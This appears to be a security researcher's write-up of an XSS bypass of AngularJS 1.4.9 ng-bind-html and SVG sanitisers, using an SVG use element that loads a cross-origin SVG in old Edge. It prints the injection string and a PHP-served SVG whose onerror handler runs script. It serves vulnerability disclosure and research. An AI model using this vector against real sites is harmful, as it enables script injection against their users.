AngularJS bind html bypass

Whilst testing an internal SVG cleaner I spent some time looking at the use element. Basically it allows you to reference other SVG elements and include them in your SVG document. You can reference same-origin URLs or link to certain IDs on the page using the hash. I reported this issue internally but it was rejected as you needed to upload a SVG to the same origin in order to exploit it. So of course my next idea was to get it working cross-origin. Chrome, Firefox and Safari all prevent SVG from being included cross-origin. Old Edge was different though, it was possible to include SVG from a different origin provided you include the CORS header Access-Allow-Cross-Origin: *. Initially I included a JavaScript URL in my external SVG and although the element was clickable the JavaScript URL didn't call alert.

I modified the file and tried injecting a onclick event and to my surprise the onclick event fired from the external domain. I double checked that the domain was the target domain by calling alert(document.domain) and thankfully it showed the correct domain. I then discovered you could modify the external SVG and make the vector execute automatically without a click using the image element.

The injection was:

<svg><use href="//subdomain1.portswigger-labs.net/use_element/upload.php#x" />

Here's what the external SVG looks like:

<?php
header("Access-Control-Allow-Origin: *");
header("Content-Type: image/svg+xml");
?>
<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'>
<image href="1" onerror="alert(1)" />
</svg>

I then tested AngularJS and it worked there too as they allow SVG in versions <1.5.0. Here is the full proof of concept that works on AngularJS 1.4.9.

AngularJS ng-bind-html bypass proof of concept.

Note that later versions of AngularJS are not vulnerable as they do not allow SVG.